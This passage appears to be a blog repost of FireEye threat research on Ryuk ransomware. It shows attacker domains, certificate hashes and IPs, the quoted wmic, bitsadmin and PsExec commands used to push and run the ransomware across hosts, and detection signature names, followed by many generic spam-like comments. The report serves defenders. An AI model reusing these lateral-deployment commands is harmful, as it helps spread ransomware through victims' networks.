C=US,ST=TX,L=Texas,O=lol,OU=,CN=service1boost[.]com 67c7c75d396988ba7d6cd36f35def3e4 10/28/20 81.17.28.105:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=idrivehepler[.]com 880e59b44e7175e62d75128accedb221 10/28/20 179.43.160.205:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=idrivedownload[.]com cdea09a43bef7f1679e9cd1bbeb4b657 10/28/20 179.43.158.171:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=idrivefinder[.]com 512c6e39bf03a4240f5a2d32ee710ce5 10/28/20 179.43.133.44:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=idrivedwn[.]com 87f3698c743f8a1296babf9fbebafa9f 10/28/20 179.43.128.5:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=idrivecheck[.]com 6df66077378c5943453b36bd3a1ed105 10/28/20 179.43.128.3:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=idriveupdate[.]com 9706fd787a32a7e94915f91124de3ad3 10/28/20 81.17.28.122:443 C=US,ST=TX,L=Texas,O=lol,OU=,CN=idriveview[.]com 0e1b0266de2b5eaf427f5915086b4d7c RYUK Commands start wmic /node:@C:\share\comps1.txt /user:[REDACTED] /password:[REDACTED] process call create “cmd.exe /c bitsadmin /transfer vVv \\[REDACTED]\share$\vVv.exe %APPDATA%\vVv.exe & %APPDATA%\vVv.exe” start PsExec.exe /accepteula @C:\share$\comps1.txt -u [REDACTED] -p [REDACTED] cmd /c COPY “\\[REDACTED]\share$\vVv.exe” “C:\windows\temp\vVv.exe” start PsExec.exe -d @C:\share$\comps1.txt -u [REDACTED] -p [REDACTED] cmd /c c:\windows\temp\vVv.exe Detecting the Techniques FireEye detects this activity across our platforms. The following table contains several specific detection names from a larger list of detections that were available prior to this activity occurring. Platform Signature Name Endpoint Security KEGTAP INTERACTIVE CMD.EXE CHILD PROCESS (BACKDOOR) KEGTAP DLL EXECUTION VIA RUNDLL32.EXE (BACKDOOR) SINGLEMALT (DOWNLOADER) STILLBOT (BACKDOOR) WINEKEY (DOWNLOADER) CORKBOT (BACKDOOR) RYUK RANSOMWARE ENCRYPT COMMAND (FAMILY) RYUK RANSOMWARE SETUP EXECUTION (FAMILY) RYUK RANSOMWARE WAKE-ON-LAN EXECUTION (FAMILY) RYUK RANSOMWARE STAGED ENCRYPTOR INTERNAL TRANSFER TARGET (UTILITY) RYUK RANSOMWARE ENCRYPTOR DISTRIBUTION SCRIPT CREATION (UTILITY) RYUK RANSOMWARE STAGED ENCRYPTOR INTERNAL TRANSFER SOURCE (UTILITY) Network Security and Email Security Downloader.Win.KEGTAP Trojan.KEGTAP APTFIN.Backdoor.Win.BEERBOT APTFIN.Downloader.Win.SINGLEMALT APTFIN.Backdoor.Win.STILLBOT APTFIN.Downloader.Win.WINEKEY APTFIN.Backdoor.Win.CORKBOT FE_Downloader_Win64_KEGTAP FE_APTFIN_Backdoor_Win32_BEERBOT FE_APTFIN_Backdoor_Win_BEERBOT FE_APTFIN_Downloader_Win32_SINGLEMALT FE_APTFIN_Downloader_Win64_SINGLEMALT FE_APTFIN_Backdoor_Win_STILLBOT FE_APTFIN_Downloader_Win_WINEKEY FE_APTFIN_Backdoor_Win_CORKBOT

## 49 thoughts on “FireEye Threat Research”

1. brittney says:

What’s up to all, the contents present at this web page are truly remarkable for people experience, well, keep up the good work.

2. Shane says:

This is very interesting, You’re a very skilled blogger. I have joined your feed and look forward to seeking more of your fantastic post. Also, I have shared your website in my social networks!

1. Hi Shane,
Thanks for the great feedback we are glad that you enjoy WebsiteCyber and its fantastic that you have grabbed our feed and thanks for sharing on your social networks.

Cheers,
WebsiteCyber

3. Jeffrey says:

This is a very good tip especially to those fresh to the blogosphere.
Brief but very accurate information… Thanks for sharing this one.

4. Isidraviera says:

It’s actually a cool and helpful piece of info. I’m happy that you just shared this helpful info with us. Please stay us up to date like this. Thanks for sharing.

1. Hi Isidraviera,

Cool name by the way and thanks a lot for the great feedback.

Cheers,
Websitecyber

5. ilsepridham says:

Thank you, I’ve recently been looking for this info for a long time and yours is the greatest I’ve discovered so far.

1. Hi ilsepridham,

Thanks for the great feedback and make sure you have a look at our website cyber scanning services we can help with better securing your website.

Cheers,
Websitecyber

6. Carrie says:

What’ѕ up websitecyber, its a wonderful article and completely explained, keep it up all the time.

1. Hi Carrie,

Thanks a lot for the great feedback about websitecyber.

Cheers,
Websitecyber

7. Maribel says:

Hi! Do you know if they make any plugins to protect against hackers? I’m kinda paranoid about losing everything I’ve worked hard on. Any recommendations?

1. Hi Maribel,

A determined hacker will always be able to penetrate a website but you can use plugins like wordfence security and ithemes security to harden your website to make it more difficult we also suggest using cloudflare as well.

cheers,
Websitecyber

This post will assist the internet people for setting up new website or even a blog from start to end.

Thanks for the feedback about websitecyber.

Cheers,
Websitecyber

9. Lynn says:

What’s Happening I am new to this, I stumbled upon websitecyber and I’ve discovered It absolutely helpful and it has helped me out loads. I am hoping to give a contribution & aid other users like its helped me.
Good job.

1. Hi Lynn,
It is fantastic to hear that websitecyber has been helpful to you and helped you out loads and thanks for the great feedback.

Cheers,
Websitecyber

10. Elwood says:

You can certainly see your expertise in the article you
write. The arena hopes for even more passionate writers like you who
aren’t afraid to mention how they believe. Always go after your heart.

1. Hi Elwood,

Thanks for the fantastic feedback.

Cheers,
websitecyber

11. Thelma says:

Awesome article.

1. Hi Thelma,

Thanks for the great feedback.

Cheers,
Websitecyber

12. Wilton says:

I enjoy what you guys are up too. This type of clever work and reporting!
Keep up the wonderful works guys I’ve incorporated you
guys to my own blogroll.

1. Hi Wilton,

Glad to hear that you are enjoying the websitecyber website.

Cheers,
Websitecyber

13. June says:

I wanted to thank you for this good read!! I certainly enjoyed every bit of it.
I’ve got you saved as a favourite to check out new stuff you post.

1. Hi June,

We are glad you are enjoying websitecyber and thanks for making us one of your favourites.

cheers,
websitecyber

14. Cleta says:

What’s up to every one, the contents existing at this web site are genuinely awesome for people experience, well, keep up the good work fellows.

1. Hi Cleta,

It’s great to hear that you find the contents at websitecyber genuinely awesome.

Cheers,
websitecyber

15. Anibal says:

Nice post. I was checking constantly this blog and I’m impressed!
Very useful info specifically the last part 🙂 I care for such info much.
I was seeking this particular info for a very long time.
Thank you and best of luck.

1. Hi Anibal,

Thanks for the great feedback.

cheers,
websitecyber

16. Kandice says:

If some one needs to be updated with newest technologies then they must be pay a visit to websitecyber and be up to date all the time.

1. Hi Kandice,

Thanks for the feedback.

cheers,
websitecyber

17. Francis says:

Woah! I’m really digging the template/theme of this site.
It’s simple, yet effective. A lot of times it’s tough to get that “perfect balance” between user friendliness and visual appeal.
I must say you’ve done a very good job with this.

Outstanding Blog!

18. Hugo says:

Hello there, You have done a fantastic job.
I will definitely digg it and personally recommend to my friends.
I am sure they’ll be benefited from this web site.

1. Hi Hugo,
Thanks for the Digg and recommending websitecyber to your friends.

cheers,
websitecyber

19. Wiley says:

Great post. I was checking constantly this weblog and I am impressed!
Very useful info particularly the last section 🙂 I care for
such info much. I used to be looking for this certain information for a very long time.
Thank you and good luck.

20. Lilia says:

Thanks to my father who told me on the topic of websitecyber, this blog is in fact amazing.

21. Alan says:

Really appreciate you sharing this blog post.Really thank you! Keep writing.

22. Kristian says:

Your style is so unique compared to other people I have read stuff from.
Thank you for posting when you have the opportunity, Guess I will just bookmark this page.

23. Isidro says:

Pretty! This has been a really wonderful post.
Many thanks for supplying this info.

24. Danielle says:

Keep on working, great job!

25. Greg says:

Hi there! I just wish to give you a big thumbs up for the great information you have right here on this post.
I’ll be coming back to your website for more soon.

26. John says:

Very good post! We are linking to this particularly great post on our site.
Keep up the great writing.

27. Baseley says:

Thanks for this posting! I truly enjoyed reading it. I will make sure to bookmark your blog and may come back in the future. I want to encourage you to ultimately continue your great work, have a nice morning!

28. Bart says:

It’s a pity you don’t have a donate button on websitecyber.com . I’d most certainly donate to this excellent